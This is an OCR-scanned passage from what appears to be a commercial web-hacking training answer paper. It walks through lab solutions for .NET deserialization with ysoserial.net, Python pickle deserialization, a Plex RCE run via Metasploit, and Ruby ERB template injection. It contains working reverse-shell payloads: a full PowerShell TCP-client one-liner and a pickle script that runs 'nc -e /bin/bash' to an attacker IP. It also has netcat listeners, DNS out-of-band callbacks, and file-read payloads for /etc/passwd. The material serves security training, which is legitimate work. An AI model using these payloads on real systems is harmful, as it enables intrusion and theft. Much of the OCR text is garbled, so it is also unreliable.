X-Frame-Ontions: SAMFORIGIN ¥
2 || = || + || = | Type a search term 0 matches

Step 6: We get the OOB request along with the web server’s machine name.

e ~
python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
192.168.200.110 - - [11/Jul/2021 02:22:371 code 404. message File not found
192.168.200.110 - - [11/3Jul/2021 02:22:37] "GET /WIN2K12_IIS$ HTTP/1.1" 404 -

Step 7: To get the reverse shell start listener on the server.

root@Kali:~/tools# nc -nlvp 4444

- Terminal - root@kali: ~ (T EE
File Edit View Terminal Tabs Help

:~# nc -nlvp 4444
listening on [any] 4444 ..
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Step 8: Generate the payload using terminal or web interface for reverse shell.

powershell.exe \"$client = New-Object
System.Net.Sockets.TCPClient('192.168.4.X"',4444);%$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1
| out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendb
yte.Length);$stream.Flush()};$client.Close()\"

Helper Utility  Blackiist3r  YSoSerial

ysoserial.net

Deserialization payload generator for a vajiety of NET formatters

Plugins Output Data:
Generic v AAEAAAD///IIAQAAAAAAAAAMAGAAAEITEXNOZWOSIFZICNNPb24INCAWLIAUMCW
9Q3VsdHWZT1uZXVOcmFsLCBQdWJsaWNLZXIUb2tibj1iNzahNWM1NJESMZRIMD
Gadget g5BQEAAACEAVNSC3RIDS5Db2XsZWNOaWSucySHZWSICmIjLINVENRIZFNIGGAXW1
tTeXNOZWOUU3RyaWS5nLCBIC2NVEmXpYiwgVmVyc2ivbj0OLJAUMCAWL CBDAWX0AX
TypeConfuseDelegate b JIPWSIEXRyYWwsIFB1YmxpYOtieVRva2VuPWI3N2E1YzU2MTkzNGUWODIGXQQA
AAAFQ291bnQIQ29tcGFyZXIHVMVYC2IvbgVJdGVICWADAAYIQF TeXNOZWOuQ29s
Formatter bGV|AGIVDNMUR2VUZXJpYYSDb21wWYXJpc29uQ29tcGFyZXJgMVIbUSIZAGVILINOG
O Foniater . miuZywgbXNjb3JsaWisIFZIcnNpb24INCAWLJAUMCWIQ3VSAHVYZT 1uZXVOcmFsL

CBQAWJsaWNLZXIUb2tibj1iNzZdhNWM1NJESMZRIMDG5XVOIAGAAAAIAAAAJAWAA
AAIAAAAJBAAAAAQDAAAAIQF TeXNOZWOUQ295bGV|dGIVDNMUR2VUZX.JpYy5Db2
1WYXJpC29uQ29tcGFyZXJGMVIDU3IZAGVILINOCMIUZywgbXNjb3JsaWisIFZIcnNpb2
49NCAWLAUMCWIQ3VSAHVYZT1uZXVOCmFSLCBQAWJsaWNLZXIUb21tibj1iNzdhN

WM1NJESMZRIMDG5XVOBAAAAC19jb21WYXJpc29uAy  TeXNOZWOURGYSZWdhdG

Command: VTZXJpYWxpemF0awauSGIsZGVYCQUAAAARBAAAAAIAAAAGBGAAAIKEL2Mgc
G93ZXJzaGVsbC5leGUGIIR|bGIbNQPSBOZXCIT2JGZWNOIFN5SC3RIDS50ZXQuU2

powershell.exe \"Sclient = New-Object 9ja2V0cy5UQ18DbGIIbNQoJZESMi4XNjgUNCAXMCCSNDQONCK7JHNOCmMVhDSAIIC
System.Net.Sockets. TCPClient('192.168 4.10',4444) Sstream = $client. GetStream() RjbGIbNQUR2VOU3RYZWFIKCK7W2J5dGVDXVOKYnI0ZXMgPSAWLI42NTUZNXwWlez
[byte[]}Sbytes = 0..65535|%(0};while((Si = Sstream.Read($bytes, 0, Sbytes.Length)) B903doaWxIKCgkaSAICRzdHJIY WOUUMVhZCgkYnloZXMsIDASICRIeXRIcySMZW
ne 0){;$data = (New-Object -TypeName 5ndGgpKSAtbmUgMCI7OyRKYXRhIDOGKESIdy 1PYmplY3QgLVR5cGVOYW1IIFNSC
System Text ASCIIEncoding). GetString($bytes 0, $i):$sendback = (lex $data 2>81 | 3RIbS5UZXhOLKFTQOIRWSjb2RpbmcplLkdIdFNOCmIuZygkYnl0ZXMsMCwgJGkpOy
Out-String ). $sendback2 = $sendback + 'PS ' + (pwd).Path + *> " $sendbyte = RzZW5KYmFjayA9IChpZXggJGRhdGEgMj4mMSBBIE91dC 1 TdHJpbmcgKTskc2VuZ
([text.encoding]:ASCIl). GetBytes($sendback?), $stream. Write($sendbyte, 0, $sendbyt GJhY2syIDOgJHNIbMRIYWNrICsgJ1BTICcgKyAocHAKKS5QYXR0ICSq)z4gJzske2V
e.Length).Sstream.Flush()}; Sclient Close()\" ’ UZGJ5dGUgPSAOW3RIEHQUZWSjb2RpbmddOjpBUONJSSKUR2VOQNI0ZXMOoJHNID

MRIYWNrMik7JHNOCcmVhbS5XcmI0ZSgkc2VuZGJ5dGUSMCwke2VUZGJSdGUUTG

’ VUZ3RoKTSKC3RYZWFILKZSdXNoKCI9OyR|bGIIbnQuQ2xvc2UoKSIGBWAAAANDW  ~
Generate 4‘ QEBQAAACTeXNOZWOURGVSZWAhdGVTZXJDY WxpemF0aWauSGISZGWAWAA /4

ysoserial exe -g TypeConfuseDelegate -f BinaryFormatter -0 Base64 -¢ "powershell. exe \"$client = New-Object System.Net Sockets. TCPClient('192.168.4.10', 4444);$stream =
Sclient GetStream();[byte[]}Sbytes = 0..65535|%{0}.while((Si = Sstream.Read(Sbytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName

System.Text ASCIIEncoding). GetString($bytes 0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> " $sendbyte =

([text encoding]::ASCII). GetBytes($sendback?2), $stream. Write($sendbyte, 0, $sendbyte Length); Sstream Flush()} Sclient. Close()\"™

© 2019 - Notsosecure - Helper Utility

NotSoSecure part of Page: | 84

Claranet Cyber secu I’ity © Claranet Cyber Security 2021. All rights reserved




NSS Training — AWH 5D Answer Paper

Step 9: Replace the serialized string in “__ NSSTemp” cookie with the value generated in Step 8

and send request.

Go < |v > | v Target: http://admin.webhacklab.com | ¢

| Raw | Params | Headers | Hex |

GET /HTTP/1.1

Host: admin.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie
ASPXAUTH
5179740F

Jw|

027732569A7C8
SrLRvY3B1

ACD94E907EB39EF31C
ationToken 37vOMAbyY

AGEE76592ABF294
DDFF731F55B12
As

yH/\/ 5lem \U

RGVsZWdhdGVTZX
MCcsNDQONCK 7JHNC
170yRKYXRhIDOGKESIdy1PYmplY

ZWFt! KII

TW2J5 3pKS SAtbmL
hOLKFTQOIF vg)GkpOyRzZW5k £91dC1TdHjpbmcgKTskc2VuZGJhY2sylDOgJHNIbmRIYWNrCsg)1
zskc2VuZGJ5c NJSSkuR2VOQnI0ZX NOC HA bS5Xcr Sgkc2VuZG)5dGUsMCwkc2VuZG)5dGUuTGVUZ3RoKTskc3RyZ! kZs
xvc2UoKSIC SZGVyAWAAAAhEZWxIZ2F0ZQdtZXRob2QwB2 11dGhvZDEDAW HGVELKRIbGVNYXRIU2VyaV

sZWdhdGVTZXJpYWxpe

Z2F0ZUVu S 1IbWJickluZm9TZXjpYW; WZsZWN(

bWJIckluZm9TZXJpYWxg
V

IGVELKRIbGVN Y‘RIH‘Vy aWFsaXphdGlvbkhvbGRICitEZWxIZ2F0ZUVud! j X ‘(l)\N 1ibHKOdGFyZ2 w»/Hm]l Q1k 7\/“Z'P
5AQEC »«UFUA'HW-M ZWOuRGVsZWdhdGV dGVELINOcmIuZywgbXNjb }'/Iqupl:)d“N( 4wLjAuM
CBQd\ NLZXIUb2tibj1 /sdHVyZT1uZXVOc aWNLZXIUb2tIbj1iNzd

GVELKRpYW
IEN1bHR

>3NOaWNz

Q3VsdHVyZT1uZXV0cmFsLCBQA\

Vi mb1N b2 xkZXIHAA
JuVHIWZVtdCQBAAAAJL

GFydCh l» XNO

yc2

ZWA49Yjc3YTVIN
1GDWAAAAVTAGFyd

/\‘II\/KHM XBIEEdIbmVya
/ AN/

lnrnc-(tlt;r close
Upgrade-Insecure-Requests: 1

< + > | Type a search tern 0 matches

TTP/1.1 200 OK
e

ontrol: private
ent-Type: text/html; charset=utf-8
Server: Micr
Y Acnhinkit,

<

Step 10: We get a reverse shell and can run the commands.

' Terminal - root@kali: ~ e =] o

File Edit View Terminal Tabs Help
:~# nc -nlvp 4444
listening on [any] 4444 .
|connect to [1 16 from (UNKNOWN) [192.168.200.110] 4¢
dir

ectory: C:\windows\system32\inetsrv

LastWriteTime Length Name
config
en
en-US
121344 appcmd.exe
3810 appcmd.xml
174592 AppHostNavigators.dll
66048 apphostsvc.dll
408064 appobj.dll
137728 aspnetca.exe
39424 authanon.dll
24576 cachfile.dll
49664 cachhttp.dll
13824 cachtokn _dll

6/2018

6/2018

18/73/ 014
7/1/2013
2/26/2018
2/26/2018
3/3/2017
lo/28/2014
2/26/2018
2/26/2018
2/26/2018
2/26/2018

=

ST ahohbnno hnenan
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Step 11: The result of “ipconfig” command.

Terminal - root@kali: ~ AT E X
File Edit Vview Terminal Tabs Help
PS C:\windows\system32\inetsrv> ipconfig

Windows IP Configuration

Ethernet adapter External:

Connection-specific DNS Suffix
IPv4 Address.

Subnet Mask

Default Gateway

Ethernet adapter Internal:
Connection-specific DNS Suffix
IPv4 Address.

Subnet Mask
Default Gateway

Tunnel adapter isatap.{CAS5DCF8F-A976-4192-ACAE-3A30CEDFF547}:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

Tunnel adapter isatap.{40074467-8C46-4134-9500-EC1C930652A8}:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

Tunnel adapter 6T04 Adapter:

Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : 2002:4d44:2634::4d44:2634
Default Gateway . . . . . . . . . : 2002:c058:6301::c058:6301

Step 12: The result of “whoami”

a Terminal - root@kali: ~ (R 4
Fle Edit View Terminal Tabs Help
PS C:\windows\system32\inetsrv> whoami

iis apppoolhadmin.webhacklab.com

Step 13: The result of “win.ini”

a Terminal - root@kali: ~ T =1
File Edit View Terminal Tabs Help

PS C:\windows\system32\inetsrv> type ..\..\win.ini

; for 16-bit app support

[fonts]

[extensions]

[mci extensions]

[files]
[Mail]
MAPI=1
PS C:\windows\system32\inetsrv> [}
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Python Serialization Attack

Challenge URL: http://reimbursement.webhacklab.com/Support/AddTicket

e Identify and exploit the Python Deserialization vulnerability to make the host send
DNS requests to an external host.
e Get areverse shell and extract the system information such as username, OS type

from the server and read “/etc/passwd” file
Solution:

Step 1: Go to the Support section of the application and select Add Ticket.

| Support - My ASPNET Ap X ‘+

<« c @ @ reimbursement.webhacklab.com/Support 0% | - O M VY Lo o sE =
© NotSosecure (@ Shop Webhacklab | Topup Webhacklab @ Microblog @ HealthCheck | Admin Webhacklab | Utility @ WebCache Poison () WebCache Deception () Wordpres NotSoSec... J Joomla NotSoSecure »

Expense Reimburse Expense  Support  Hello userl0! Log off

Support.

Add or View your support ticket

| Add Ticket: [ Add ] |
View All Tickets: [ View ]

© 2020 NotSoSecure Global Services Limited. All rights reserved. NotSoSecure Global Services Limited, CB1 Business Centre, Twenty Station Road, Cambridge,
CB1 2JD, UK

Step 2: Fill up the support request and upload a sample text file ‘test.txt’ and intercept the request in

Burp.

Note: Make sure that the txt file has some content. Application will not allow empty file upload.

Expense Reimburse
Add Ticket
Title | need support
Descryption Unable to upload my

reimbursement]

Upload File Browse... |support.ixt

Upload
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Step 3: There are two parameters that send data in a Base64 encoded value as highlighted below:

/ Request to http://reimbursement. webhacklab.com:80 [192.168.200.130]

[ J [ Drop J | Intercept ison | Action
J Raw I Params I Headers | Hex

GXObLlaEzd- rX7YrzK19HB1GeH3Yv3kGWQILh_F76zB5s1NAVF Twn6h6EV r63IqfnA69eiEK91leFMhe5Dok SWGEydfE7hj6bytP54xc6iDI1;
.AspNet. ApplicationCookie=
hphEsZV1whtUhB5kF - pVRkiAGSQnarue2JbAc3kK53n_89¢q4X1_-yt_z6XeKZO_7VVgyLuhm_zISREzUAPXp_kghHBKrZVP51028NkQgmfHB_Pk3J8
SRiM1-CAAK15Rbualf9YygltbnwT69mTwlilxz-hIB6mME6HpoPblZiXiADdf3s0VEDYCcnX9I-x0PGghMCaSYfYzgoXuf8GPCG1ls]8xybfKPFmlcO6k
130aRG891Pi_gnTYvcHEThSOFfkLKQ6MYUlKsIT53gdc11l_j6N_VGrVwPHNIEPirmkmpetAEsnhWfRHTbHLWDCAEBgXnGWGOr2_NExOr8azooVFI6b
ILSYVDsUroy THKpFYWWMAChqT1rLaG9xTLMin5MAgvP8vIMiHgTfGoOFAPISN8ydahAS1MDj LhFvvUhBTa6vTXA_FYIAcvGp2xIjF3ECUVNkezr5eC]
4QurxLN1Tem700hj5p5p8xsIphclanolifI

12 Connection: close

Forward Comment this item

24O

>

10185380746328114281143256096

15 Content-Disposition: form-data; name="file"; filenames"support.txt"
16 Content-Type: text/plain

17

18 This is a support help file
----------------------------- 10185380746328114281143256096
21 Content-Disposition: form-data; name="title"

22
23|SSBuZWVk IHN1cHBvcnQ=

24 10185380746328114281143256096
25 Content-Disposition: form-data; name="descryption"

26
27 |VW5hme'|. THRvIHVWbG9hZCBteSByZWltYnVyc2VtZW50Lg==
28 10185380746328114281143256096

-

Step 4: Enter any invalid character as value in the ‘title’ parameter to check the error in response.

Send Cancel <|v > | Target: http://reimbursement.webhacklab.com f@
Request Response
j Raw I Params T Headers | Hex jRaw I Headers | Hex | Render ]
6096 ] 1 HTTP/1.1 200 OK B
15 Content-Disposition: form-data; name="file"; filename= 2 Cache-Control: private, s-maxage=0
"support. txt" ) 3 Content-Type: text/html; charset=utf-8
16 Content-Type: text/plain 4 Server: Microsoft-IIS/8.5
17 o ] 5 X-AspNetMvc-Version: 5.2
18 This is a support help file 6 X-AspNet-Version: 4.0.30319
19 7 X-Powered-By: ASP.NET
A L LR LR TP 1018538074632811428114325 8 Date: Wed, 22 Jul 2020 11:59:31 GMT
6096 9 Connection: close
21 Content-Disposition: form-data; name="title" 10 Content-Length: 46
22 11
23[5SBUZWVKIHNIcHBvenQ{ I {H I {}{}=] 12|Failed to process data in pickle.load function
24 S e e e, 10I8538074632811428114325
6096
25 Content-Disposition: form-data; name="descryption"
26

27 VWShYmx1IHRv IHVwbhG9hZCBteSByZWltYnVyc2VtZW50Lg==

----------------------------- 1018538074632811428114325
6096

29 Content-Disposition: form-data; name="

_ RequestVerificationToken"

30 v 0
®{§} EHEJ Search... 0 matches @ Pretty ®{§} EJEJ Search... 0 matches @ | Pretty |
Done

322 bytes | 309 millis
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Step 5: Use the python script to generate a python deserialization payload using the script available

in the Kali machine to receive an out-of-band call as shown below:

Command:

root@Kali:/tools/python deserialization~# python3 python_deser_oob.py

testing.userX.webhacklab.com

root@® kali)-|[~/tools/python_deserialization
#f python3 python_deser_oob.py testing.user85.webhacklab.com

b' gASVPQAAAAAAAACMBXBVC2141IwGe31zdGVt1J0UFCIjdXIsIHRLc3Rpbmcu
dXNlcjgllndlYmhhY2tsYWIuY29t1IWUUpQu'

Step 6: Start a Tcpdump listener for an OOB call:

tcpdump -n udp port 53 -i any

a Terminal - root@kali: ~/tools/python_deserialization
File Edit View Terminal Tabs Help

root@kali: # tcpdump -n udp port 53 -1i any
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked vl), capture size 262144 bytes

Step 7: Replace the value in ‘title’ parameter with generated payload as shown below.

Target* http:Hreimbursement.webhacklab.coml /

O=m=
\n Actions v Z4 Raw Render \n Actions Vv
16 Content-Disposition: form-data; name= 1 HTTP/1.1 200 OK
"file"; filename="support.txt" 2 Cache-Control: private, s-maxage=0
17 Content-Type: text/plain 3 Content-Type: text/html; charset=utf-8
18 4 Server: Microsoft-IIS/8.5
19 This is a support help file 5 X-AspNetMvc-Version: 5.2
20 6 X-AspNet-Version: 4.0.30319
. 22114454 7 X-Powered-By: ASP.NET
5792861010107090814 8 Date: Mon, 12 Jul 2021 10:17:14 GMT
22 Content-Disposition: form-data; name= 9 Connection: close
"title" 10 Content-Length: 34
23 11

24|gASVPQAAAAAAAACMBXBvc2141TwGe31zdGVt1l| 12|Title length exceeded 50 character

JOUjCIjdXIsIHRLc3RpbmcudXNlcjgllndlYm

hhY2tsYWIuY29t1IWUUpQu

25 - 22114454
5792861010107090814

26 Content-Disposition: form-data; name=
"descryption”
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Step 8: An OOB call will be received.

root@kali: # tcpdump -n udp port 53 -i any
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked v1), capture size 262144 bytes

21:57:32.421285 IP 192.168.200.12.4069 > 192.168.4.10.53: 46339+ A? testing.userl®.webhacklab.com. (47)
21:57:32.421480 IP 192.168.200.12.39683 > 192.168.4.10.53: 17690+ AAAA? testing.userlO.webhacklab.com. (47)

Step 9: Generate the payload for the reverse shell using the following command.

root@Kali:~/tools/python deserialization# python3 python_deser_shell.py
192.168.4.X 4444

root@® kali)- ~/tools/python_deserialization

# cat python_deser_shell.py
#! /usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first paramete
r.
# Otherwise, the default one will be used.
H

import pickle as cPickle
import sys
import base64

IP = sys.argv[1]
PORT = sys.argv[2]
COMMAND = |"nc "+IP+" "+PORT+" -e /bin/bash &"

class PickleRce(object):
def  reduce (self):
import os
return (os.system,(COMMAND, ))

print (base64.b64encode(cPickle.dumps(PickleRce())))

root® kali ~/tools/python deserialization
#f python3 python deser shell.py 192.168.4.85 4444
b'gASVPgAAAAAAAACMBXBvCc2141IwGc31zdGVt1IOUJCNuYYAXOTIuMTY4L jQuODUgNDQ@NC
AtZSAvYmluL2Jhc2ggIpSF1FKULg="
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Step 10: Start a Netcat listener on port mentioned in the script:

root@Kali:~# nc -nlvp 4444

root@kali: # nc -nlvp 4444

listening on [any] 4444
| |

Step 11: Enter the generated payload in the ‘title’ parameter and send the Request.

<|v Target] http://reimbursement.webhacklab.com /

\n Actions Vv 4N Raw Render \n Actions v
55 Lo Lo 9 DUPPUI LS A =1 l.'J TLve 1 H_I_I_P/ll 1 203 OK
1 P 22114454 2 Cache-Control: private, s-maxage=0
5792861010107090814 3 Content-Type: text/html; charset=utf-8
22 Content-Disposition: form-data; name= 4 Server: Microsoft-IIS/8.5
"title" 5 X-AspNetMvc-Version: 5.2
23 6 X-AspNet-Version: 4.0.30319

24 gASVPgAAAAAAAACMBXBvc2141IwGe31zdGyvtl| 7 X-Powered-By: ASP.NET

JOUjCNuYyAxOTIuMTY4LjQuODUgNDQONCAtzs| © Date: Mon, 12 Jul 2021 10:26:42 GMT
AvYmlulL2Jhc2ggJpSFLFKULg== 9 Connection: close
7.1 55114454 .10 Content-Length: 34

5792861010107090814 11—
26 Content-Disposition: form-data; name= 12|Title length exceeded 50 character
"descryption”
27
28 dGVzdA==

Step 12: A reverse shell is obtained, and we can run commands.

Terminal - root@kali: ~/tools/python_deserialization (T e

root@kali: ~/tools/python_deserialization x root@kali: ~/tools/python_deserialization ‘

root@kali: # nc -nlvp 4444 1

listening on [any] 4444 ...

connect to [192.168.4.10] from (UNKNOWN) [192.168.200.12] 47632 ‘

$ id

uid=1000(foobar) ¢gid=1000(foobar) groups=1000(foobar),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
(1xd),115(1padmin), 116 (sambashare)

$ uname -a
Linux ubuntu20012 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64

GNU/Linux
R |
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Step 13: Execute ‘cat /etc/passwd’ to complete the challenge.

cat /etc/passwd

a Terminal - root@kali: ~/tools/python_deserialization
File Edit View Terminal Tabs Help

$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spaol/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/fTalse
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Bonus: Plex Python Deserialization

Challenge URL: http://plex.webhacklab.com:32400

e Perform RCE using python deserialization vulnerability.
Solution:

Step 1: Navigate to the application as shown in figure:

L3l Plex - Mozilla Firefox

= Plex x | +

« 2> X @ (@ plex.webhacklab.com:32400/web/index.htm = @ 9%

PLEX

Step 2: Login using admin user account and login to the application as shown in figure:

H] Plex % |+

<« ¢ o @ & https:/fapp.plex.tv/auth/#!?clientiD=usguv8vougmlybk3wly14ditfac @

® Continue with Apple

Email or Username

sanjay.nss@mailinatorcom

Password Forgot?

MNeed an account? Press the Google, Facebock, or Apple

buttons above, or sign up with email
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Step 3: Navigate to browser inspector tab as shown in figure:

O Plex - Mozilla Firefox e ERe S L;J Plex - Mozilla Firefox [FARES E X
B Plex X |+ B Plex x |+
&> G @® @ plex.webhacklab.com:32401 v @ Y| » &)> C @ @ plex.webhacklab.com:3240C e @ W » =

1
You must enable DRM to play some & sjgn in to Sync ) You must enable DRM to play some ¢ Web Developer

7] page. Learn More

£ New Window Toggle Tools
PLEX oo New Private Window PLEX | Inspector
) Restore Previous Session Web Console
Home Home Debugger
Zoom - i
) Style Editor
Movies & Shows i Movies & Shows
Edit Performance
Web Shows Web Shows Network

Podcasts

Music

MORE > Open File... MORE > 2 :
Responsive Design M...
Save Page As...
- Eyedropper
& Print... P
Scratchpad Shift+F4
Q Find in This Page... Service Workers
More Page Source Ctri+L

I\ Library
& Add-ons
¢ Preferences

L7 Customize...

Web Developer

® Help

® Quit

page. Learn More

Podcasts

Mussic

Storage Inspector

Developer Toolbar
WebIDE
Browser Console

Get More Tools

Work Offline

Step 4: Navigate to Storage -> Local Storage and select the "http://plex.webhacklab.com:32400"

and copy the "myPlexAccessToken" value as shown in figure:

“)> Qe

b 8 Indexed DB

v 8 Local Storage

2 8 Session Storage

@ http://plex.webhacklab.com:32400

@ http://plex.webhacklab.com:32400

© # plexwebhacklab.com:32400/web/index.html

(Y {:} Inspector Console [© Debugger N Network

S7 Eil+
1| e
\

entlD

Download now

Value

{} Style Editor

c2tvblitvla3n4uwwb4d2l8u

myPlexAccessToken

qAXZzKbs5Em6TPPZVSIR |

sessionstats

users

+ Skip this version

{"heartbeatTime":1625996606075,"lastPlayingHeartbeatTi...

"users":[{"id":0,"subscriptions":[],"roles":[],"entitlements"...
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Step 5: Use the following Metasploit module and set the information to obtained reverse shell.

root@Kali:~# msfconsole

msf > use exploit/windows/http/plex_unpickle_dict_rce
msf exploit (handler) > set PLEX_TOKEN myPlexToken
msf exploit (handler) > set RHOSTS 192.168.200.130
msf exploit (handler) > set LHOST 192.168.4.X

msf exploit (handler) > set LPORT <PORT>

msf exploit (handler) > run

msf6 exploit(windows/http/plex_unpickle_dict_rce) > show options
Module options (exploit/windows/http/plex_unpickle_dict_rce):

Name Current Setting Required| Description
ALBUM_NAME yes Name of Album

LIBRARY_PATH C:\Users\Public yes Path to write picture library to

PLEX_TOKEN gAXZzKbs5Em6TPPZV5]jR vyes Admin Authenticated X-Plex-Token

Proxies no A proxy chain of format type:host:port[,typ
REBOOT_SLEEP 15 yes Time to wait for Plex to restart

RHOSTS 192.168.200.130 yes The target host(s), range CIDR identifier,
RPORT 32400 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host

Payload options (python/meterpreter/reverse_tcp):

Name  Current Setting Required Description

LHOST 192.168.4.85 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

Automatic Target

msf6 exploit(windows/http/plex_unpickle_dict_rce) : runl
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Step 6: The meterpreter session is opened.

msf6 exploit(windows/http/plex_unpickle_dict_rce) > run

Started reverse TCP handler on 192.168.4.85:4444
Gathering Plex Config

Server Name: plex_server

Server 0S: Windows (6.3 (Build 9600))

Server Version: 1.19.1.2645-cch6eb67e

Camera Upload: 1

Using album name: wJKW1c

Adding new photo library

Created Photo Library: 3

Adding pickled Dict to library

Changing AppPath

Restarting Plex

Sending stage (39396 bvtes) to 192.168.200.130
Meterpreter session 1 opened (192.168.4.85:4444 — 192.168.200.130:55785) at 2021-07-10 09:29:17 -0700
Sleeping 15 seconds for server restart

Cleanup Phase: Reverting changes from exploitation
Changing AppPath

Restarting Plex

Deleting Photo Library

meterpreter > |J

Step 7: Obtained the system information and ipconfig information.

meterpreter >|sysinfo
Computer :_server?2kil? ds

0sS :lWindows 2012 R2 (Build 9600)
Architecture : Xxb4

System Language : en_US

Meterpreter : python/windows

meterpreter > ipconfig

Interface 1

Name : Software Loopback Interface 1

Hardware MAC : 00:00:00:00:00:00

MTU : 4294967295

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::

IPve Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff.ffff

Interface 12

Name : Intel(R) 82574L Gigabit Network Connection
Hardware MAC : 00:50:56:9f:1e:9e

MTU : 1500

IPv4 Address : 192.168.200.130

IPv4 Netmask : 255.255.0.0
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Ruby/ERB Template Injection

Challenge URL: http://shop.webhacklab.com/referral.php

o Identify the template engine and exploit it to extract the content of the file

“letc/passwd”
Solution:

Step 1: Notice the “Refer a friend” link in the Shop application, which points to
“http://shop.webhacklab.com/referral.php”

New Referral

Invite a friend and you could get upto £5 reward for every friend who joins and makes their first order.

Who do you want to invite?

Name
Email

Message

REFER A FRIEND

Step 2: Now try to, fill in the details to check for Injection, there is an input validation on Name and

email, however, Message accepts everything, enter the following in the Message:

<%= 7*%7 %>

New Referral

Invite a friend and you could get upto £5 reward for every friend who joins and makes their first order.

Who do you want to invite?
Name
Dhruv Shah

Email
dhruv@notsosecure.com

Message
<e=T77 % |

REFER A FRIEND
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Step 3: On clicking the “Refer a Friend” button, the application will render the ERB template and

send an email, as shown below:

webdevsec@gmail.com
tome [~

Hey Dhruv Shah,

You have been referred to join us.

Following is your Message.
49

Thanks,
Team NotSoSecure

You have been invited to join notsosecure shop. inbox x

Step 4: Inject another code with the content:

<%= File.open('/etc/passwd').read %>

New Referral

Who do you want to invite?
Name
Dhruv Shah

Email

dhruv@notsosecure.com

Message

<%= File.open('/etc
/passwd').read %>
REFER A FRIEND

Invite a friend and you could get upto £5 reward for every friend who joins and makes their first order.

@ NotSoSecure part of
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Step 5: On clicking the “Refer a Friend” button, the application will email the contents of the file

“etc/passwd”, as shown below:

webdevsec@gmail.com 12:01 AM (0 minutes ago) -
tome ~

Hey Dhruv Shah,

You have been referred to join us.

Following is your Message.

root:x:0:0:root /root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin: ologin sys:x:3:3:sys:/dev: in/nologin syne:x:4:65534:sync:/bin/bin/sync

games:x:5.60.games/usr/games: i login man:x:6:12:man./var/cache/man: /usr/sbm/nologm /p X7 T lpi spoolpd. i gin mail.x:8:8:mail-/var/mail./usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:; 'spi gin proxy:x:13:13;, proxy: /bm /usr/sbm/nalogm www-data:x:33:33:www-data:/

var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/shin/nologin J'ls! X:. 38 -38:Mailing List M “fvarflist n irc:x:39:39:ircd:/var/frun/ircd./usr/sbin/nologin

gna.rs X 41 41 Gnats Bug- Repomng Sysfem (admm) vardib/gnats:/usr/sbin/nologin nobody:x:65534: 65534 nobody:/r i ‘usr/sbin/nologin systemd-ti x:100:102:sy Time
work:x:101:103:: d Network Manag i, d/netif:/bin/false d-resolve:x:102:104:systemd

Resolver,,, /run/systemd/resolve:/binffalse systemd bus -proxy:x:103:105. Bus Proxy,,, /. inffalse sysiog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534:/

nonexistent:/binffalse Ixd:x:106:65534::/var/lib/ixd/:/bin/false messagabus x:107:111:/varfrun/dbus./bin/false uuidd:x: 108 112::/runfuvidd:/bin/false dnsmasqg:x:109:65534.dnsmasgq,,,

#vardlib/misc/binffalse sshd:x:110:65534::/var/run/sshd., gin foobar:x:1000:1000:] /hor : epmd:x:111:118::/var/run/epmd./bin/false

Step 6: OOB calls can also be made on this vulnerable parameter, make sure a dns listener is
started on the kali box and inject the code as below in the Message text (with backtick ~ and not

single quote *):

